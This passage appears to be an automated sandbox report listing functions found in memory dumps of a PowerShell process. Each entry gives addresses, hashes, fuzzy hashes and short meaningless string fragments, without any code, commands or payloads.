String ID: 0Up$4'p$4'p$4'p$4'p$8#h$8#h$`O&$h%h$h%h$h%h$h%h$h%h$h%h$h%h$h%h$tPp$tPp$[h$[h$[h$[h
API String ID: 0-4039313753
Opcode ID: 6de5c0a03605f3262d26f3014650325bc60ad8b52794952365a6fef1d6554b9f
Instruction ID: bf41c976fbb14a943602eda1bd3108e4a437f3503326782e3d433ed42e61c3f8
Opcode Fuzzy Hash: 6de5c0a03605f3262d26f3014650325bc60ad8b52794952365a6fef1d6554b9f
Instruction Fuzzy Hash: 6F421675B042409FCB149B6C8854B6ABBB2AFD9310F28C4BBD546CB395DE39DC41C792

Uniqueness

Uniqueness Score: -1.00%

Function 00AD0D80 Relevance: 14.3, Strings: 11, Instructions: 591COMMON

Download Yara Rule

Strings

h<{, xrefs: 00AD13F8
<{, xrefs: 00AD1149
h%h, xrefs: 00AD10AA
$p, xrefs: 00AD12D1
$p, xrefs: 00AD1269
4'p, xrefs: 00AD0DEE
$p, xrefs: 00AD12DD
h%h, xrefs: 00AD109C
4'p, xrefs: 00AD0DE2
D<{, xrefs: 00AD12B5
<{, xrefs: 00AD1196

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: <{$ <{$4'p$4'p$D<{$h%h$h%h$h<{$$p$$p$$p
API String ID: 0-2102509644
Opcode ID: 753b0287d56b2aaa39ddaa3210a0985042116e0579f32a54d299c5a9a4366291
Instruction ID: bf53f61bead4f8e074f78c878706f9684d8b00f44f5f4bb25303c8b007c44434
Opcode Fuzzy Hash: 753b0287d56b2aaa39ddaa3210a0985042116e0579f32a54d299c5a9a4366291
Instruction Fuzzy Hash: 2E122935704340AFCB159B688850BAABBF2AFC5310F2884BBD946CB396DB35DD81C761

Uniqueness

Uniqueness Score: -1.00%

Function 00AD1C48 Relevance: 13.0, Strings: 10, Instructions: 480COMMON

Download Yara Rule

Strings

8#h, xrefs: 00AD228D
h%h, xrefs: 00AD2256
h%h, xrefs: 00AD1F7A
h%h, xrefs: 00AD1F70
h%h, xrefs: 00AD1E02
[h, xrefs: 00AD1D03
h%h, xrefs: 00AD1E0C
h%h, xrefs: 00AD2260
8#h, xrefs: 00AD2297
[h, xrefs: 00AD1CF9

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 8#h$8#h$h%h$h%h$h%h$h%h$h%h$h%h$[h$[h
API String ID: 0-216944290
Opcode ID: 5f8764f31da1201296af94b547f05cfaedf7d69f4177cc0676f578fed3c7dcdf
Instruction ID: 385e9e717b1d936ae0a751d38c36a97dfc0d4c751a18be0440f6dd3ac317b3f6
Opcode Fuzzy Hash: 5f8764f31da1201296af94b547f05cfaedf7d69f4177cc0676f578fed3c7dcdf
Instruction Fuzzy Hash: 57125C74B002049FDB54DF98C584EAABBF2AF99310F64C06AE8169F355CB35ED82CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00AD4414 Relevance: 12.3, Strings: 9, Instructions: 1095COMMON

Download Yara Rule

Strings

h%h, xrefs: 00AD4677
h%h, xrefs: 00AD4B21
4'p, xrefs: 00AD40EC
h%h, xrefs: 00AD466D
h%h, xrefs: 00AD4896
[h, xrefs: 00AD4A18
h%h, xrefs: 00AD4C8F
8#h, xrefs: 00AD4F1E
h%h, xrefs: 00AD4EE9

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$8#h$h%h$h%h$h%h$h%h$h%h$h%h$[h
API String ID: 0-853500719
Opcode ID: c1adf55a6024126d84e9013c1cffa762675eb74039c00199bf8ace3d31080383
Instruction ID: 3980f7394bfc841f79e2ce365ea94022bb918d92f238dfb7187511a306ad3baf
Opcode Fuzzy Hash: c1adf55a6024126d84e9013c1cffa762675eb74039c00199bf8ace3d31080383
Instruction Fuzzy Hash: D3A22D74A00204DFDB24DB58C540FAABBB2EF89304F65C1AAE9559B356CB71ED82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 046B18BC Relevance: 9.2, Strings: 7, Instructions: 496COMMON

Download Yara Rule

Strings

h%h, xrefs: 046B1E5A
4'p, xrefs: 046B196F
h%h, xrefs: 046B1E4C
$p, xrefs: 046B192B
4'p, xrefs: 046B197B
$p, xrefs: 046B1953
$p, xrefs: 046B1947

Memory Dump Source

Source File: 00000003.00000002.537966584.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$h%h$h%h$$p$$p$$p
API String ID: 0-2066519885
Opcode ID: 6932039ffc81eaad8a6e5d09f7d534520bc15ce7c5a9857ca1bee69fcea62b0c
Instruction ID: 1cf569e0cbd6734f8c8649fab7bf1773e7720eaf49b3189badca12c3b4fe49dc
Opcode Fuzzy Hash: 6932039ffc81eaad8a6e5d09f7d534520bc15ce7c5a9857ca1bee69fcea62b0c
Instruction Fuzzy Hash: 2FF1FA35B00200AFCB199F68D4606EABBE2AF96350F24807AD595CB355FB31ED82C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 00AD4780 Relevance: 8.0, Strings: 6, Instructions: 505COMMON

Download Yara Rule

Strings

h%h, xrefs: 00AD4B21
h%h, xrefs: 00AD4896
[h, xrefs: 00AD4A18
h%h, xrefs: 00AD4C8F
8#h, xrefs: 00AD4F1E
h%h, xrefs: 00AD4EE9

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 8#h$h%h$h%h$h%h$h%h$[h
API String ID: 0-1348317926
Opcode ID: e2e97681136676cb4132409642d781d46d40bbbad59126c1861b855af3292f2d
Instruction ID: a747dab7c00958209c147d9077d7cc25f16dfc9e24d0d6f11df4d26925bbf49e
Opcode Fuzzy Hash: e2e97681136676cb4132409642d781d46d40bbbad59126c1861b855af3292f2d
Instruction Fuzzy Hash: 9D222B78A01204DFDB14DF58D580EAABBB2FF89314F25C16AE9559B356C772EC82CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00AD47A0 Relevance: 8.0, Strings: 6, Instructions: 493COMMON

Download Yara Rule

Strings

h%h, xrefs: 00AD4B21
h%h, xrefs: 00AD4896
[h, xrefs: 00AD4A18
h%h, xrefs: 00AD4C8F
8#h, xrefs: 00AD4F1E
h%h, xrefs: 00AD4EE9

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 8#h$h%h$h%h$h%h$h%h$[h
API String ID: 0-1348317926
Opcode ID: efdc3501edf10f45b6a23dcfbf24288e03bd1e79b3438baf21013315e3f2d448
Instruction ID: c392fe7cb2217b3b00041eb5aec0f3d705e8d32e9b6176ab0f5f2062adfcfdd6
Opcode Fuzzy Hash: efdc3501edf10f45b6a23dcfbf24288e03bd1e79b3438baf21013315e3f2d448
Instruction Fuzzy Hash: 86221B78A01204DFDB14DF98D580EAABBB2FF89314F65C06AE9159B355C772EC82CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00AD4E1C Relevance: 6.7, Strings: 5, Instructions: 465COMMON

Download Yara Rule

Strings

h%h, xrefs: 00AD4B21
[h, xrefs: 00AD4A18
h%h, xrefs: 00AD4C8F
8#h, xrefs: 00AD4F1E
h%h, xrefs: 00AD4EE9

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 8#h$h%h$h%h$h%h$[h
API String ID: 0-3945192550
Opcode ID: 709cc157ac9fecf66e12159e477346249c8d038b9bf52521e7b7498b780fbb49
Instruction ID: aa3662f88c04b72ce451cb0f87e4e69a0d3ca11ec533c534a3a9d435e684546e
Opcode Fuzzy Hash: 709cc157ac9fecf66e12159e477346249c8d038b9bf52521e7b7498b780fbb49
Instruction Fuzzy Hash: 40122D74A01204DFDB24DF98D580E6ABBB2FF89314F24C06AE9569B355C772EC82CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00AD2116 Relevance: 6.7, Strings: 5, Instructions: 422COMMON

Download Yara Rule

Strings

8#h, xrefs: 00AD228D
h%h, xrefs: 00AD2256
h%h, xrefs: 00AD1F70
h%h, xrefs: 00AD1E02
[h, xrefs: 00AD1CF9

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 8#h$h%h$h%h$h%h$[h
API String ID: 0-3945192550
Opcode ID: 81c42c003137fe7fdc8dcfa31d52a93f31516a7f6bcadf0958112349c49068f1
Instruction ID: 670d8b2fa290ce436a5d94a7262f7aeba70cf11d58e23f864963fdb98caf7fdb
Opcode Fuzzy Hash: 81c42c003137fe7fdc8dcfa31d52a93f31516a7f6bcadf0958112349c49068f1
Instruction Fuzzy Hash: 60023A74B00204EFDB54DB58C580FA9BBB2EF98314F24C16AE956AB355C772ED82CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00AD5478 Relevance: 5.4, Strings: 4, Instructions: 373COMMON

Download Yara Rule

Strings

4'p, xrefs: 00AD5800
4'p, xrefs: 00AD5781
4'p, xrefs: 00AD580C
4'p, xrefs: 00AD578D

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$4'p$4'p
API String ID: 0-4019061985
Opcode ID: 8bc8a738fa193c2a38413f1407b72dd03a622c9793007f3114d990e67938331f
Instruction ID: 07bb7fec811eb35fd0b900110639a13e45c2e2e3404a5a9340a1379afd59857b
Opcode Fuzzy Hash: 8bc8a738fa193c2a38413f1407b72dd03a622c9793007f3114d990e67938331f
Instruction Fuzzy Hash: DFE18D74F002049FD714DB68D455BAEBBB2AF88304F64C56AE811AF355CB75DC82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD3AE8 Relevance: 4.3, Strings: 3, Instructions: 569COMMON

Download Yara Rule

Strings

h%h, xrefs: 00AD3CAF
4'p, xrefs: 00AD40EC
[h, xrefs: 00AD3BDB

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$h%h$[h
API String ID: 0-2212847111
Opcode ID: 0d687b6f4f3f93ac56e8968cdc989dc58a1f95d6218f153cfcb5b7d647ba84fc
Instruction ID: be5a15c66a822af5bce135943b36209f8009723c2e4deb4d2303de8fd857c0b4
Opcode Fuzzy Hash: 0d687b6f4f3f93ac56e8968cdc989dc58a1f95d6218f153cfcb5b7d647ba84fc
Instruction Fuzzy Hash: FE322F74A002049FDB24DB58C540FAEBBB2BB89304F25C1AAE955AB355CB71ED86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00ADC50E Relevance: 4.3, Strings: 3, Instructions: 559COMMON

Download Yara Rule

Strings

4'p, xrefs: 00ADC20A
h%h, xrefs: 00ADC742
h%h, xrefs: 00ADC738

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$h%h$h%h
API String ID: 0-2059351901
Opcode ID: 59f97f1cae0c91c11e2433a82a1b9e116fb2a9c8d13c7a79dad67b4fcca534d6
Instruction ID: 6d231aaed74214644763395e04137f1a63d9006829236fed0d7be255e0ee2cd3
Opcode Fuzzy Hash: 59f97f1cae0c91c11e2433a82a1b9e116fb2a9c8d13c7a79dad67b4fcca534d6
Instruction Fuzzy Hash: A6326074B00218DFD764DB58C950BAABBB2AF89710F5080A5D909AF395CB71ED868F81

Uniqueness

Uniqueness Score: -1.00%

Function 00AD4564 Relevance: 3.1, Strings: 2, Instructions: 555COMMON

Download Yara Rule

Strings

4'p, xrefs: 00AD40EC
h%h, xrefs: 00AD466D

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$h%h
API String ID: 0-4265485267
Opcode ID: 345736637301ab5b766eaa02ae2cba1b245bb104e238964d72323591043d4d19
Instruction ID: b5dbfc3e8da36bcd78f0a7ca60702c13a58e9e5c917806e49ee0ddf039b8daf1
Opcode Fuzzy Hash: 345736637301ab5b766eaa02ae2cba1b245bb104e238964d72323591043d4d19
Instruction Fuzzy Hash: E3324074A002049FDB64DB58C940FAEBBB2EB89304F5481A9E955AF395CB71ED82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00ADBE23 Relevance: 2.9, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

4'p, xrefs: 00ADC20A
4'p, xrefs: 00ADC216

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p
API String ID: 0-3973980265
Opcode ID: 06d97bfa07a12250245f95e8d6efe11cd1a1360423ee7552c7135ea53c89ed81
Instruction ID: 64857c5b14e106b81456ba7188ee51d5b1f7f4ec482f900857e1503d31456359
Opcode Fuzzy Hash: 06d97bfa07a12250245f95e8d6efe11cd1a1360423ee7552c7135ea53c89ed81
Instruction Fuzzy Hash: A3127274B00218DFD764DB58C951BEABBB2EF89300F5080A5D909AF395CB71ED828F81

Uniqueness

Uniqueness Score: -1.00%

Function 00AD5AD0 Relevance: 2.7, Strings: 2, Instructions: 237COMMON

Download Yara Rule

Strings

h%h, xrefs: 00AD5C22
h%h, xrefs: 00AD5C30

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: h%h$h%h
API String ID: 0-778770776
Opcode ID: d5dbd72efaf9b3fdc01f81bb2a69a85d79bf8db486ca118808f3ed3da5c968b3
Instruction ID: 95abdc8f003ebb33b8cccf8a9297c365aff155adb5aa5d33c62c7d975694475f
Opcode Fuzzy Hash: d5dbd72efaf9b3fdc01f81bb2a69a85d79bf8db486ca118808f3ed3da5c968b3
Instruction Fuzzy Hash: 30710535F047059FCB249B78984466ABBF2AF89310B28847BD886DB385EA71DC41C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AD804D Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

h%h, xrefs: 00AD8186
h%h, xrefs: 00AD8178

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: h%h$h%h
API String ID: 0-778770776
Opcode ID: 33e650753e9949e7a744b06e0c213d028684c8c893eb72e41ca58f2f25af6696
Instruction ID: c770cc836dd05fbc95986d57de96d81fdeb37a24f5cc7bf96a5c767be1cfb8ac
Opcode Fuzzy Hash: 33e650753e9949e7a744b06e0c213d028684c8c893eb72e41ca58f2f25af6696
Instruction Fuzzy Hash: 133117B5B002109FCB259B789850ABABBB29FC9314B24817BDA52DF345CE35DC47C792

Uniqueness

Uniqueness Score: -1.00%

Function 00AD19F0 Relevance: 2.6, Strings: 2, Instructions: 94COMMON

Download Yara Rule

Strings

d={, xrefs: 00AD1A72
d={, xrefs: 00AD1A4D

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: d={$d={
API String ID: 0-432196026
Opcode ID: ab55d24a51181d06eafcf36794651cada1decd9b81ffc9b1ef3e357007828ce3
Instruction ID: b40ef3553c78d3ceaf1ff2f0f18011beeed39616590b191b974b36aea4c8c5b3
Opcode Fuzzy Hash: ab55d24a51181d06eafcf36794651cada1decd9b81ffc9b1ef3e357007828ce3
Instruction Fuzzy Hash: B1212735700310ABDB245A7D8840B7BBAEAABC8750F28843BE547CB3D4DAB5DD81C361

Uniqueness

Uniqueness Score: -1.00%

Function 00AD10F0 Relevance: 2.6, Strings: 2, Instructions: 67COMMON

Download Yara Rule

Strings

<{, xrefs: 00AD1149
<{, xrefs: 00AD1196

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: <{$ <{
API String ID: 0-206724904
Opcode ID: dab3ba612caababf517cbe15241466c9fb2ac00dccd7279825b6f08fba968e13
Instruction ID: b56ed5c6dd1ce0459db275b3f1dde4defa594cf0dfedbcc01e67783ad4a3b2d8
Opcode Fuzzy Hash: dab3ba612caababf517cbe15241466c9fb2ac00dccd7279825b6f08fba968e13
Instruction Fuzzy Hash: C5116075704204BBDB145E599841B7ABBB7EB88310F1CC26AFA0A9B385C775DDC2C760

Uniqueness

Uniqueness Score: -1.00%

Function 00AD451E Relevance: 1.7, Strings: 1, Instructions: 430COMMON

Download Yara Rule

Strings

4'p, xrefs: 00AD40EC

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p
API String ID: 0-481844870
Opcode ID: b6696b282cb86d5b5b4c8492e582d3caad3af23b7cf1a855987559e05621b258
Instruction ID: a121b049a90365acfef4970575e595f5bf9415206fcc9e6ca17c0316d3c2a1f7
Opcode Fuzzy Hash: b6696b282cb86d5b5b4c8492e582d3caad3af23b7cf1a855987559e05621b258
Instruction Fuzzy Hash: 4C023074B002049FD764DB54C941FAEBBB2AF89304F6481A9E945AF395CB71ED82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00ADC5F6 Relevance: 1.7, Strings: 1, Instructions: 406COMMON

Download Yara Rule

Strings

4'p, xrefs: 00ADC20A

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p
API String ID: 0-481844870
Opcode ID: dddcc77deb236dd526b5e1700a7aeb7de0cfe327c69133e34118a3465ce5d129
Instruction ID: 3c6e7491d13e60704f9b326812ed61815ba157c8cf23ce7d2e7886394cae3a22
Opcode Fuzzy Hash: dddcc77deb236dd526b5e1700a7aeb7de0cfe327c69133e34118a3465ce5d129
Instruction Fuzzy Hash: C4027274B00218DFD764DB54C950BEABBB2EF89704F5080A5E909AF395CB71ED868F81

Uniqueness

Uniqueness Score: -1.00%

Function 00ADC6A5 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

4'p, xrefs: 00ADC20A

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p
API String ID: 0-481844870
Opcode ID: d4a771a086632ae75276432d2fecef543e98948ef78cfbe511dc6e357b4e13f3
Instruction ID: 34d7a8b86313cbbbf4f247c67a32f121b0ec5a2a26e0a8005f82b5bdd758a82f
Opcode Fuzzy Hash: d4a771a086632ae75276432d2fecef543e98948ef78cfbe511dc6e357b4e13f3
Instruction Fuzzy Hash: E0029474B00218DFD764DB54C950BEABBB2EF89700F5080A5E909AF395CB71ED828F81

Uniqueness

Uniqueness Score: -1.00%

Function 00ADCA48 Relevance: 1.6, Strings: 1, Instructions: 327COMMON

Download Yara Rule

Strings

[h, xrefs: 00ADCA68

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: [h
API String ID: 0-1382348864
Opcode ID: c25c6aec711df29e2ce03d1710cb681b2207c7d49933078fb4262df492aba345
Instruction ID: c383e9edd3102b9f53b088d7730c1cb25c48199ffa73bcc6a65d236f51568c07
Opcode Fuzzy Hash: c25c6aec711df29e2ce03d1710cb681b2207c7d49933078fb4262df492aba345
Instruction Fuzzy Hash: C7E18274A00219DFD724DF68C855BAABBB2BB88304F5080A5D94AAF386CB75DDC1CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00ADFAE4 Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

4'p, xrefs: 00ADFC02

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID: 4'p
API String ID: 0-481844870
Opcode ID: 5a1b249329a2ad1ea70e137f46b885041f227e745f95ce2542c3aeebbf6cef90
Instruction ID: b7bbe535d32eb9d3b02ea358b76cee62ad516be3e67aa5298536eb13fc281fa9
Opcode Fuzzy Hash: 5a1b249329a2ad1ea70e137f46b885041f227e745f95ce2542c3aeebbf6cef90
Instruction Fuzzy Hash: 0F21A270A0430A9FDB245B258520B7F7AF69B89354F284037DD47DB381DB75CC928791

Uniqueness

Uniqueness Score: -1.00%

Function 0026CF88 Relevance: .4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530530266.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54f778af0121a92e4bf86ae35380083e91235ad7016415eb22144b3dd2c82795
Instruction ID: eb947f0ae98771310447f34134081af3a7581f263e2cb006e347bbdc6ffab5c4
Opcode Fuzzy Hash: 54f778af0121a92e4bf86ae35380083e91235ad7016415eb22144b3dd2c82795
Instruction Fuzzy Hash: E4F12B74E102199FCB05CF98D894A9EBBF2FF89310F258559E804AB355C771ED92CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00263138 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530530266.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b349f3067272237edfd926b37355d75d19563b32b3d236bcff6e47b034e1f7f1
Instruction ID: 5d396250abe5803f3c495c7b821476b2555f78ba8d048ca28f5c326aa4352398
Opcode Fuzzy Hash: b349f3067272237edfd926b37355d75d19563b32b3d236bcff6e47b034e1f7f1
Instruction Fuzzy Hash: 9BE12A74A10219AFCB15CF98C590A9DFBF2FF88310F298559E805AB355CB71ED92CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00265090 Relevance: .3, Instructions: 342COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530530266.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfa40725351f060344e318b34e79ba1c4f886430fba35d5b3f31a416e9e63ab0
Instruction ID: c0aec01bad56100173a1fa2b99e0dd6e7efb8273888b5114d77abe52801eeb4f
Opcode Fuzzy Hash: dfa40725351f060344e318b34e79ba1c4f886430fba35d5b3f31a416e9e63ab0
Instruction Fuzzy Hash: 13E13974A106199FDB14CF98C494A9DFBF2FF48310F288599E808AB355CB71ED92CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00267D14 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530530266.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff51102462daca4c36d21fd9d6b4fe0acb0514add86253a45f57b5f3e1bf15f6
Instruction ID: 5a30116b0d18601bce0961bd125d67f2a8a7507dd3fa13cc7895afa8ec17d41e
Opcode Fuzzy Hash: ff51102462daca4c36d21fd9d6b4fe0acb0514add86253a45f57b5f3e1bf15f6
Instruction Fuzzy Hash: F5B18E70E1420ACFDF10CFA8D8857ADBBF2AF48318F148529D814A7294EB759C99CF81

Uniqueness

Uniqueness Score: -1.00%

Function 002685E4 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530530266.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ad0e859ca6ccfac65b97014a49507483641cbea8536078ed54894f975b75bf3
Instruction ID: 137d1745c37f74290630597dd9c20fb85ccf84b94d5a23dd5c8a489cd1be42e2
Opcode Fuzzy Hash: 0ad0e859ca6ccfac65b97014a49507483641cbea8536078ed54894f975b75bf3
Instruction Fuzzy Hash: 87B15E74E1420ACFDF10CFA9D8857ADBBF6AF48314F248229D415E7394EB749895CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00263093 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530530266.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ef6a62f7ebdf5451cef2f3fa96361f2f0c830151ca59151ea7b54af3d6e2768
Instruction ID: 9d62559d92c5b3f9073eb50806b545e5b2e9cc61781ac90e4c32bf9aa1d9ed01
Opcode Fuzzy Hash: 6ef6a62f7ebdf5451cef2f3fa96361f2f0c830151ca59151ea7b54af3d6e2768
Instruction Fuzzy Hash: 7C4193B0A042459FCB05CF6CC890A9DBBF1FF4A310B6941DAD955DB2A2C730EC95CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00AD1650 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530633289.0000000000AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e940ebb5b2d24ee50f06dcf7601d9f3afb4598ae58fe66755b971697502ece6
Instruction ID: c56a9d41419e3b42cd8a33981dfc0fd9b20e51430ca9b89948d932c438371911
Opcode Fuzzy Hash: 9e940ebb5b2d24ee50f06dcf7601d9f3afb4598ae58fe66755b971697502ece6
Instruction Fuzzy Hash: 6741E835B00214ABCB549F7898416BEB7B1AFC8310B28852AED569B351DE71DD41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 002630CF Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.530530266.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ad95d64f0a657e0697eaeec4890526ee898d92e5895a67b3d799906017b07bd
Instruction ID: b119c30f65c9c8ac1efc7bc8132f201de6aecde0a5565baf3047372fc9dea2e3
